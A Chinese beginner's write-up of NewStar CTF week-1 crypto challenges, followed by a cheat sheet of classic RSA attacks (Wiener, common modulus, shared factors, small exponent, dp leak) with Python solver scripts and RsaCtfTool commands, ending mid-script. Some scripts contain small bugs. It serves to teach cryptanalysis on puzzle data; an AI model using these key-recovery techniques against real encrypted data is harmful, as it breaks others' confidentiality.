从NewStar week1入门 Crypto

灵感来自于某一年提出的单兵计划(其实是自己懒拖到现在才开始)密码学自己真的从来没有接触过。从0开始的,👴们勿喷呜呜呜

babyrsa | 已知 公钥(n, e) 和 密文 c 求 明文 m

from Crypto.Util.number import *
from flag import flag

def gen_prime(n):
    res = 1

    for i in range(15):
        res *= getPrime(n)

    return res

if __name__ == '__main__':
    n = gen_prime(32)
    e = 65537
    m = bytes_to_long(flag)
    c = pow(m,e,n)
    print(n)
    print(c)
# 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
# 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

先用yafu分离n​为 q 和 p,将n​另存为data.txt的时候记得最后要换行。

\yafu-x64.exe "factor(@)" -batchfile data.txt

然后写脚本还原即可:

import libnum
from Crypto.Util.number import long_to_bytes

c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595
n = 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
#n = int("",16)
e = 65537
#e = int("",16)
P1 = 4278428893
P2 = 3207148519
P3 = 2804303069
P4 = 2923072267
P5 = 2706073949
P6 = 3939901243
P7 = 2970591037
P8 = 2463878387
P9 = 2370292207
P10 = 2338725373
P11 = 3654864131
P12 = 2217990919
P13 = 3831680819
P14 = 2794985117
P15 = 4093178561

d = libnum.invmod(e, (P1 - 1) * (P2 - 1) * (P3 - 1) * (P4 - 1) * (P5 - 1) * (P6 - 1) * (P7 - 1) * (P8 - 1) * (P9 - 1) * (P10 - 1) * (P11 - 1) * (P12 - 1) * (P13 - 1) * (P14 - 1) * (P15 - 1))
m = pow(c, d, n)   # m 的十进制形式
string = long_to_bytes(m)  # m明文
print(string)  # 结果为 b‘ m ’ 的形式

Small d | 维纳攻击

from secret import flag
from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(1024)

d = getPrime(32)
e = inverse(d, (p-1)*(q-1))
n = p*q
m = bytes_to_long(flag)

c = pow(m,e,n)

print(c)
print(e)
print(n)

# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433

脚本:

import gmpy2
import libnum

def continuedFra(x, y):
    """计算连分数
    :param x: 分子
    :param y: 分母
    :return: 连分数列表
    """
    cf = []
    while y:
        cf.append(x // y)
        x, y = y, x % y
    return cf
def gradualFra(cf):
    """计算传入列表最后的渐进分数
    :param cf: 连分数列表
    :return: 该列表最后的渐近分数
    """
    numerator = 0
    denominator = 1
    for x in cf[::-1]:
        # 这里的渐进分数分子分母要分开
        numerator, denominator = denominator, x * denominator + numerator
    return numerator, denominator
def solve_pq(a, b, c):
    """使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
    :param a:x^2的系数
    :param b:x的系数
    :param c:pq
    :return:p,q
    """
    par = gmpy2.isqrt(b * b - 4 * a * c)
    return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
    """计算列表所有的渐近分数
    :param cf: 连分数列表
    :return: 该列表所有的渐近分数
    """
    gf = []
    for i in range(1, len(cf) + 1):
        gf.append(gradualFra(cf[:i]))
    return gf

def wienerAttack(e, n):
    """
    :param e:
    :param n:
    :return: 私钥d
    """
    cf = continuedFra(e, n)
    gf = getGradualFra(cf)
    for d, k in gf:
        if k == 0: continue
        if (e * d - 1) % k != 0:
            continue
        phi = (e * d - 1) // k
        p, q = solve_pq(1, n - phi + 1, n)
        if p * q == n:
            return d

n= 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
e= 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
c= 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248

d=wienerAttack(e, n)
m=pow(c, d, n)
print(libnum.n2s(m).decode())

babyxor | 异或

from secret import *

ciphertext = []

for f in flag:
    ciphertext.append(f ^ key)

print(bytes(ciphertext).hex())
# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2

被异或后,然后再异或一次就是原文。

注意一个地方,异或要以str​或者int​形式进行异或,byte​不行

key = 0x8f
ciphertext_hex = "e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"

ciphertext_bytes = bytes.fromhex(ciphertext_hex)

plaintext = []
for byte in ciphertext_bytes:
    decrypted_byte = byte ^ key
    plaintext.append(decrypted_byte)

flag = ''.join([chr(byte) for byte in plaintext])

print(flag)

Affine | 仿射密码

from flag import flag, key

modulus = 256

ciphertext = []

for f in flag:
    ciphertext.append((key[0]*f + key[1]) % modulus)

print(bytes(ciphertext).hex())

# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064

image

from Crypto.Util.number import *
from gmpy2 import *
ciphertext_hex = "dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064"
ciphertext_bytes = bytes.fromhex(ciphertext_hex)
print(ciphertext_bytes)
ciphertext_bytes = "\xddC\x88\xeeB\x8b\xdd\xddXe\xccf\xaaX\x87\xff\xcc\xa9f\x10\x9cf\xed\xcc\xa9 fz\x881 d"
# for f in flag:
#     ciphertext.append((key[0]*f + key[1]) % modulus) 和mod一样
for a in range(256):
    for b in range(256):
        flag = ''
        a = inverse(a,256) #inverse求逆元
        for i in ciphertext_bytes :
            flag += chr((ord(i)-b)*a %256)
        if 'flag' in flag:
            print(flag)
# from Crypto.Util.number import *
# from gmpy2 import *
# c=0xdd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064
# c='\xddC\x88\xeeB\x8b\xdd\xddXe\xccf\xaaX\x87\xff\xcc\xa9f\x10\x9cf\xed\xcc\xa9 fz\x881 d'
# for a in range(256):
#     for b in range(256):
#         flag=''
#         a_=inverse(a,256)
#         for i in c:
#             flag+=chr((ord(i)-b)*a_ %256)
#         if 'flag' in flag:
#             print(flag)

babyaes | aes_cbc模式

from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import *

def pad(data):
    return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])

def main():
    flag_ = pad(flag)
    key = os.urandom(16) * 2
    iv = os.urandom(16)
    print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)
    aes = AES.new(key, AES.MODE_CBC, iv)
    enc_flag = aes.encrypt(flag_)
    print(enc_flag)

if __name__ == "__main__":
    main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

使用了一个密钥 Key 和初始化向量 IV,选择的CBC模式加密

urandom:

语法  os.urandom(size)
参数:
    size:字符串随机字节的大小
    返回值:该方法返回一个字符串,该字符串表示适合加密使用的随机字节。
例 os.urandom(1)
输出:b'\x91'
二进制:10010001 (8bits)

os.urandom()与十六进制\xhh

os.urandom()​函数在python官方文档中做出了这样的解释:
Return a string of n random bytes suitable for cryptographic use.
即返回一个长为n​个bytes的string,然后很适合用于加密。python的这个函数实际上是在读取OS操作系统提供的随机源,关于加密应用暂且不考虑。

测试一下:

for i in range(10):
    print(os.urandom(i))

output:

b''
b'6'
b'Rj'
b'}\x13\xca'
b't\xc79w'
b'UF^f\x8b'
b'D\xf6\x14b\xd9n'
b'\xe4\xa5\xc1\t\x0b\xf4u'
b'\x8d\x94A\xd4qO\x07\x9d'
b'\x86Q\xe2\n\xfa\xaa\xf0\xd5H'

为了方便确认这个是个字符串的长度,调整代码:

for i in range(10):
    print(len(os.urandom(i)))
# 0
# 1
# 2
# 3
# 4
# 5
# 6
# 7
# 8
# 9

即,在较长字符串中\x​的作用域只有后面紧跟的两字符,而我们知道十六进制表示成二进制0000​~1111​占4bits,其中0000​为十进制0、1111​为十进制15。所以两个十六进制位数正好是8bits​,即一个byte,是这样再看urandom​的输出:

b''---0 byte
b'6'---1 byte
b'Rj'---2 bytes
b'}\x13\xca'---1+1+1---3 bytes
b't\xc79w'---1+1+2---4 bytes
b'UF^f\x8b'---4+1---5 bytes
b'D\xf6\x14b\xd9n'----1+1+1+1+1+1---6 bytes
key=os.urandom(16)*2
iv=os.urandom(16)

可知:key是32bytes,256bits ;iv是16bytes ,128bits

key^iv​ ,那么只有 iv 与 key的低128位相异或,所以key的高128位是固定不变的。所以输出结果的高128bits,就是key的高128bits,进而可以得到key的所有值256bits。

之后key的低128bits,与输出结果的低128bits和1 相异或,所得结果就是 iv的值了

key,iv得到后直接aes.decrypt()​解密就ok了

#python3
from Crypto.Cipher import AES
import os
from gmpy2 import*
from Crypto.Util.number import*

xor = 3657491768215750635844958060963805125333761387746954618540958489914964573229
enc_flag = b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

out=long_to_bytes(xor)
# print(out)
key = out[:16]*2
# print(key)
iv = bytes_to_long(key[16:]) ^ bytes_to_long(out[16:]) ^ 1
iv = long_to_bytes(iv)
print(iv)
aes = AES.new(key,AES.MODE_CBC,iv)
flag = aes.decrypt(enc_flag)
print(flag)
# #python3
# from Crypto.Cipher import AES
# import os
# from gmpy2 import*
# from Crypto.Util.number import*

# xor = 91144196586662942563895769614300232343026691029427747065707381728622849079757
# enc_flag = b'\x8c-\xcd\xde\xa7\xe9\x7f.b\x8aKs\xf1\xba\xc75\xc4d\x13\x07\xac\xa4&\xd6\x91\xfe\xf3\x14\x10|\xf8p'
# out = long_to_bytes(xor)
# key = out[:16]*2
# # print(key)
# iv = bytes_to_long(key[16:])^bytes_to_long(out[16:])
# # print(iv)
# iv = long_to_bytes(iv)
# # print(iv)
# aes = AES.new(key,AES.MODE_CBC,iv)
# flag = aes.decrypt(enc_flag)
# print(flag)

入门题型整理

rsa加密的过程:

  • 随便找出两个 整数 q 和 p (q,p互素,即:公因数只有1)
  • *求出n = q p ​**
  • φ(n) = (p-1)*(q-1)欧拉公式
  • 公钥 e :随机取,要求 :e ​和 ​φ(n)互素(公因数只有 1;**1< e < φ(n)**);
  • 私钥 d :​ ed ≡ 1 (mod φ(n)) ​​(ed 除以 φ(n) 的 余数 为 1 )

已知 p ,q,e求 d |(ed 除以 (q-1)(p-1) 的 余数 为 1 )

import gmpy2
p = 38456719616722997
q = 44106885765559411
e = 65537

s = (p-1)*(q-1)
d = gmpy2.invert(e,s)
print ("dec: " + str(d))
print ("hex: " +  hex(d))

已知 公钥(n, e) 和 密文 c 求 明文 m

见上面题解babyrsa

已知密文文件 flag.enc/cipher.bin/flag.b64 和 公钥文件 pubkey.pem /key.pem /key.pub求解明文 m

方法一:(key.pem 和 cipher.bin)

直接用 RsaCtfTool​进行破解:

python3 RsaCtfTool.py --publickey key.pem --uncipherfile cipher.bin

image

方法二:(flag.b64 和 key.pub)

先处理flag.b64(将flag.b64​中的内容进行解 base64操作)

使用 notepad++ 打开 flag.b64​文件使用 插件中的 MIME Tools ​​中的 base64 decode ​​将文件内容解密,然后另保存为 flag.enc​ 文件

然后使用 RsaCtfTool 工具进行破解:

python3 RsaCtfTool.py --publickey /root/desktop/share/key.pem --uncipherfile /root/desktop/share/flag.enc

image

方法三:提取 pubkey.pem 中的 参数

openssl rsa -pubin -text -modulus -in warmup -in pubkey.pem

其次,用 yafu 分解 n 得到 q,p

然后 制作 私钥 :生成私钥文件 ​ private.pem

python rsatool.py -o private.pem -e 65537 -p 275127860351348928173285174381581152299 -q 319576316814478949870590164193048041239

最后 用private.pem文件 解密 flag.enc文件

openssl rsautl -decrypt -in flag.enc -inkey private.pem

已知私钥 private.pem 和密文 flag.enc

方法一:利用 rsactftool。

python RsaCtfTool.py --private private.pem  --uncipherfile flag.enc

方法二:利用 openssl:

openssl rsautl -decrypt -in flag.enc -inkey private.pem

已知c ,e,n(非常大),和 dp,dq,求解明文m

领航杯2019的一道题,EasyRSA:给了e, n, c,由于特别大,没法直接用质因数分解求得 q, p

还给了

qhint   =  q  % (p - 1)     #  其实 qhint  = dq
phint   =  d  % (p - 1)     #  其实 phint  = dp
import gmpy2
import libnum
e=65537
n=16969752165509132627630266968748854330340701692125427619559836488350298234735571480353078614975580378467355952333755313935516513773552163392952656321490268452556604858966899956242107008410558657924344295651939297328007932245741660910510032969527598266270511004857674534802203387399678231880894252328431133224653544948661283777645985028207609526654816645155558915197745062569124587412378716049814040670665079480055644873470756602993387261939566958806296599782943460141582045150971031211218617091283284118573714029266331227327398724265170352646794068702789645980810005549376399535110820052472419846801809110186557162127
dp=1781625775291028870269685257521108090329543012728705467782546913951537642623621769246441122189948671374990946405164459867410646825591310622618379116284293794090970292165263334749393009999335413089903796624326168039618287078192646490488534062803960418790874890435529393047389228718835244370645215187358081805
c=0x6c78dcee37830f3ec4ab4989d40fbb595060b3fbc395d52ad26defc13372c1a3948c5388f4e450e46e016c7803133d6881e5efc3b90a4789448097c94124590b1e7949f2524d7edccd61a27691c18d090ac1f54643b563141306045417581e3b263f4ad2816136a48b106f3058b08e2a810f4ae8ef25916cc110b41ac8158ce69ecbe20fc60c1ddb20154c6646bc5142aefe47abf053a8ac949d5bc057bb18b191ad08070fe9ec5d76b1fceae685514532448c1b388b2d38e7241ac19c296e95e4e021a3a4015d909a1d53a2eb7fa86f6329f4e6c937f958be576c58fab4d9c9126999c99bb28718efc41a6f5db52b47942a2ddf21639f020b5489699cf22b46

for i in range(1,65538):
    if (dp*e-1)%i == 0:
        if n%(((dp*e-1)//i)+1)==0:
            p=((dp*e-1)//i)+1
            q=n//(((dp*e-1)//i)+1)
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e,phi)%phi
            print(libnum.n2s(pow(c,d,n)))

image

已知n(非常大),e,d求p,q(无法直接 从n分解)

# python2
from gmpy2 import invert
from md5 import md5
from secret import p,q

e = 65537
n = p*q
phi = (p-1)*(q-1)
d = invert(e,phi)

print n,e,d
print "flag{%s}" % md5(str(p+q)).hexdigest()
#python 2
import random
from md5 import md5

def gcd(a, b):
   if a < b:
     a, b = b, a
   while b != 0:
     temp = a % b
     a = b
     b = temp
   return a

def getpq(n,e,d):
    p = 1
    q = 1
    while p==1 and q==1:
        k = d * e - 1
        g = random.randint ( 0 , n )
        while p==1 and q==1 and k % 2 == 0:
            k /= 2
            y = pow(g,k,n)
            if y!=1 and gcd(y-1,n)>1:
                p = gcd(y-1,n)
                q = n/p
    return p,q

def main():
    n = 16352578963372306131642407541567045533766691177138375676491913897592458965544068296813122740126583082006556217616296009516413202833698268845634497478988128850373221853516973259086845725813424850548682503827191121548693288763243619033224322698075987667531863213468223654181658012754897588147027437229269098246969811226129883327598021859724836993626315476699384610680857047403431430525708390695622848315322636785398223207468754197643541958599210127261345770914514670199047435085714403641469016212958361993969304545214061560160267760786482163373784437641808292654489343487613446165542988382687729593384887516272690654309
    e = 65537
    d = 9459928379973667430138068528059438139092368625339079253289560577985304435062213121398231875832264894458314629575455553485752685643743266654630829957442008775259776311585654014858165341757547284112061885158006881475740553532826576260839430343960738520822367975528644329172668877696208741007648370045520535298040161675407779239300466681615493892692265542290255408673533853011662134953869432632554008235340864803377610352438146264524770710345273439724107080190182918285547426166561803716644089414078389475072103315432638197578186106576626728869020366214077455194554930725576023274922741115941214789600089166754476449453
    p,q = getpq(n,e,d)
        print p 
        print q
        print "Flag: flag{%s}" %md5(str(p + q)).hexdigest()
if __name__ == '__main__':
    main()

提取私钥中的信息

python RsaCtfTool.py --key private.pem  --dumpkey

用公钥pub.key/pub.pem文件生成 私钥文件

python RsaCtfTool.py --publickey pubkey.pem  --private > private.pem

python RsaCtfTool.py --publickey pub.key  --private > private.key

n分解出多个不同的因子时 ,求明文m

    n= 544187306850902797629107353619267427694837163600853983242783
    e= 39293
    c= 439254895818320413408827022398053685867343267971712332011972
    m=???

对n进行质因数分解,得到了3个质因数,(这里知道欧拉公式的性质的话 就很好解)

φ(x * y * z) = φ(x) * φ(y) * φ(z)=(x-1)(y-1)(z-1)

image

# python2
import gmpy2
from Crypto.Util.number import long_to_bytes

n= 544187306850902797629107353619267427694837163600853983242783
e= 39293
c= 439254895818320413408827022398053685867343267971712332011972
p1 = 67724172605733871
p2 = 11571390939636959887
p3 = 694415063702720454699679
phi = (p1-1)*(p2-1)*(p3-1)  
d = gmpy2.invert(e, phi)  
m = pow(c, d, n)  
print long_to_bytes(m) 

爆破攻击

低加密指数分解攻击(比如 e=2,e=3)

在 RSA 中 e 也称为加密指数。由于 e 是可以随意选取的,选取小一点的 e 可以缩短加密时间(比如 e=2,e=3),但是选取不当的话,就会造成安全问题。

下面就是e选取的太小导致存在的安全问题:

e=2把密文c开平方求解

RSA加密,由于e只有2,相当于把明文m平方而已,得到的c也比n小很多。尝试把c开根号看能否得到明文。一般的python开根号方法精度较低,对大整数开出来的根号准确度低。

发现使用gmpy2​库可以对大整数开根号。

eg. RSA
已知:

e=2

c=9217979941366220275377875095861710925207028551771520610387238734819759256223080175603032167658086669886661302962985046348865181740591251321966682848536331583243529

求明文m?
import gmpy2
import libnum
c = 9217979941366220275377875095861710925207028551771520610387238734819759256223080175603032167658086669886661302962985046348865181740591251321966682848536331583243529
m = gmpy2.isqrt(c)
m = int(m)
m_text = libnum.n2s(m)  #将 十六进制转为 字符
print(m_text)

# flag1{Th1s_i5_wHat_You_ne3d_FirsT}

e=3 小明文攻击

适用情况:e较小,一般为3。公钥e很小,明文m也不大的话,于是m^e=k*n+c ​​中的的k值很小甚至为0,爆破k或直接开三次方即可。​

eg . Jarvis OJ -Crypto-Extremely RSA

给了​ flag.enc ​​和 pubkey.pem​ 文件

image

因为e=3,很可能存在小名文攻击,

可以假设,k为0,将 c直接开三次方就可以得到明文 m

Roll按行加密(加密是按行进行的)

eg . 实验吧---RSAROLL

n为920139713

e为19

首先把加密的部分另存为一份文件roll.txt

image

import gmpy2
from Crypto.Util.number import long_to_bytes

n = 920139713
p = 49891
q = 18443
e = 19
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = ""
with open('roll.txt','r') as f:
    for c in f.readlines():
        c = int(c)
        #m += long_to_bytes(pow(int(c), d, n))

        md = str(pow(c, d, n))
        m += chr(int(md))
print(m)

#flag{13212je2ue28fy71w8u87y31r78eu1e2}

模不互素(存在两个或更多模数 n 且N1和N2不互质)

存在两个或更多模数,且gcd(N1,N2)!=1 ​​也就是N1和N2不互质。

适用于,n超级大,用 yafu 的factor分解不了 的情况

N1 = 18674375108313094928585156581138941368570022222190945461284402673204018075354069827186085851309806592398721628845336840532779579197302984987661547245423180760958022898546496524249201679543421158842103496452861932183144343315925106154322066796612415616342291023962127055311307613898583850177922930685155351380500587263611591893137588708003711296496548004793832636078992866149115453883484010146248683416979269684197112659302912316105354447631916609587360103908746719586185593386794532066034112164661723748874045470225129298518385683561122623859924435600673501186244422907402943929464694448652074412105888867178867357727
e1 = 65537
message is 0x8BD7BF995BF9E16A0D04ADB49A2411C74FFDB0DB4F35DB3A79A1B44691947C9824085BC4CA5F7F4EFA3C8FD0BC3E870AA6D5E15307A63A2172C44C5903D35785B8D06B51651EE7106B070D5A6AABA089AB67609661265B74914C865F863DC1D2DC08CE0B026107A74EC3FDC62666B50110B9D15A243EAAD6F53646929A3369285404868E42DD0BBE92D956018E3C0B36EF5E9516E433228CFDD06D6E662EC0A9A31061EA11F61CA17EABF43D2D4977FC9D6FC53AB6DC01509401B8D9A46B59A9ADAA97D54CC50C27445E4C21B893510620EC3566AD6E8727FA147437B207505217E6F2DF009E2286C8354D281374D7802D08A2062FE48DBF135BBCAB120EBF84

N2 = 20071978783607427283823783012022286910630968751671103864055982304683197064862908267206049336732205051588820325894943126769930029619538705149178241710069113634567118672515743206769333625177879492557703359178528342489585156713623530654319500738508146831223487732824835005697932704427046675392714922683584376449203594641540794557871881581407228096642417744611261557101573050163285919971711214856243031354845945564837109657494523902296444463748723639109612438012590084771865377795409000586992732971594598355272609789079147061852664472115395344504822644651957496307894998467309347038349470471900776050769578152203349128951
e2 = 65537
message is 0x8C3CF3161AA3E37831030985C60566A7604688B73E5B1D3B36E72EF06ED4F71289EFE80E0D94BD755034E6C210F17DA85B9D0388F3AD104C68BC514A8EB1569A109EB5F266F7C5FA4DDFA638258949B43D4CF1406720CCD4CA11E74FDF8AEB35C56A79781C87157FC4213573329C5B0FF411F8A4F34580AA103DB9FD403C0D409FA11860A7C4595FDC49DC2CF94E5112B772E5DEC8F17E24B10A7FD7A95DCB87BE5E27C32FC931574A7847BC506A61EFE9DB3D3F612143845FE80D7B3EA548B886A67A29CBDB2775B1F91178B6DA763F1A6ECFF46592E4C7FFAAB6C9FEF29D9CB9E035A3D98ECFFB26BA2EEAA56D1CD096E6A2CF9A58086CAD7718DDA5CB0C1B

由于不能直接 分解 n ,只能先找出 n1,n2 的公因数作为 q ,再拿n1 ,n2 除以 q 得到 p1 和p2

然后在解密 :

# python2
#!/usr/bin/python 
#coding:utf-8 
import gmpy2  
from Crypto.Util.number import long_to_bytes  

lines = open('tmp.txt','r').readlines()  

c1 = int(lines[2],16)  
c2 = int(lines[6],16)  
n1 = int(lines[0])  
n2 = int(lines[4])  

p1 = gmpy2.gcd(n1, n2)  
assert (p1 != 1)  
p2 = n1 / p1  
p3 = n2 / p1  
e = 0x10001  
d1 = gmpy2.invert(e, (p1 - 1) * (p2 - 1))  
d2 = gmpy2.invert(e, (p1 - 1) * (p3 - 1))  
m1 = pow(c1, d1, n1)  
m2 = pow(c2, d2, n2)  
print long_to_bytes(m1)+long_to_bytes(m2) 

判定 x 和 y 是否互素:

#判断两个数是否互素

def gcd(a, b):  # 判断来两个数是否互素,辗转相除法
    if (b == 0):
        return a
    else:
        return gcd(b, a % b)

def main():
    x = 17  # x,y的值根据需要修改即可
    y = 65537
    if gcd(x, y) == 1:  # 如果两个数的最大公约数是1,那么两数互素。
        print(str(x) + " " + str(y) + "  两个数互素")
    else:
        print(str(x) + " " + str(y) + " 两个数不互素")

if __name__ == "__main__":
    main()

共模攻击(m,n相同;e,c不同,且e1 和 e2互质)

适用情况:明文m、模数n相同,公钥指数e、密文c不同,gcd(e1,e2)==1也就是e1和e2互质。

对同一明文的多次加密使用相同的模数和不同的公钥指数可能导致共模攻击。

eg . Jarvis OJ -Crypto-very hard RSA

4096位的RSA加密,要不是这里存在共模攻击说不定你死活都解不开

题目给出了3个文件,其中2个明文是分开加密后的密文,另一个veryhardRSA.py则是加密脚本,我们通过分析加密脚本进而写出解密脚本。

查看加密脚本发现明文m、模数n相同,但是公钥指数e1和e2不同,而且e1与e2互素(上面给过判断2数是否互素的脚本)

python2:

import gmpy2
from Crypto.Util.number import long_to_bytes

e1 = 17
e2 = 65537
n = 0x00b0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929
c1=int(open('./flag.enc1','rb').read().encode('hex'),16)  
c2=int(open('./flag.enc2','rb').read().encode('hex'),16)  

_, r, s = gmpy2.gcdext(e1, e2)

m = pow(c1, r, n) * pow(c2, s, n) % n
print long_to_bytes(m)

低解密指数攻击(e过大或过小,一般e过大时使用)

​在RSA中d也称为解密指数,当d比较小的时候,e也就显得特别大了。

适用情况:e过大或过小(一般e过大时使用)

在e过大或过小的情况下,可使用算法从e中快速推断出d的值,进而求出m

eg . 我不是个人
n = 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597L
e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619L
c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
求明文m

然后把exp.py放入这个目录中运行即可(Python2 )

#!/usr/bin/python
#coding:utf-8

import gmpy2
from Crypto.PublicKey import RSA
import ContinuedFractions, Arithmetic
from Crypto.Util.number import long_to_bytes 

def wiener_hack(e, n):
    # firstly git clone https://github.com/pablocelayes/rsa-wiener-attack.git !
    frac = ContinuedFractions.rational_to_contfrac(e, n)
    convergents = ContinuedFractions.convergents_from_contfrac(frac)
    for (k, d) in convergents:
        if k != 0 and (e * d - 1) % k == 0:
            phi = (e * d - 1) // k
            s = n - phi + 1
            discr = s * s - 4 * n
            if (discr >= 0):
                t = Arithmetic.is_perfect_square(discr)
                if t != -1 and (s + t) % 2 == 0:
                    print("Hacked!")
                    return d
    return False
def main():
    n = 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597
    e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
    c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
    d = wiener_hack(e, n)
    m = pow(c,d,n)
    print long_to_bytes(m)
if __name__=="__main__":
    main()

低加密指数广播攻击(模数n、密文c不同,明文m、加密指数e相同)

如果选取的加密指数较低,并且使用了相同的加密指数给一个接受者的群发送相同的信息,那么可以进行广播攻击得到明文。

适用范围:

模数n、密文c不同,明文m、加密指数e相同。

一般的话e=k k是题目给出的n和c的组数。

image

eg . Jarvis OJ -2018强网杯nextrsa-Level9

题目给出

image

n1,n2,n3,

c1,c2,c3,

e,

求明文m的值。

python2

#!/usr/bin/python
#coding:utf-8

import gmpy2
import time
def CRT(items):
    N = reduce(lambda x, y: x * y, (i[1] for i in items))
    result = 0
    for a, n in items:
        m = N / n
        d, r, s = gmpy2.gcdext(n, m)
        if d != 1: raise Exception("Input not pairwise co-prime")
        result += a * s * m
    return result % N, N
# 读入 e, n, c
e = 3
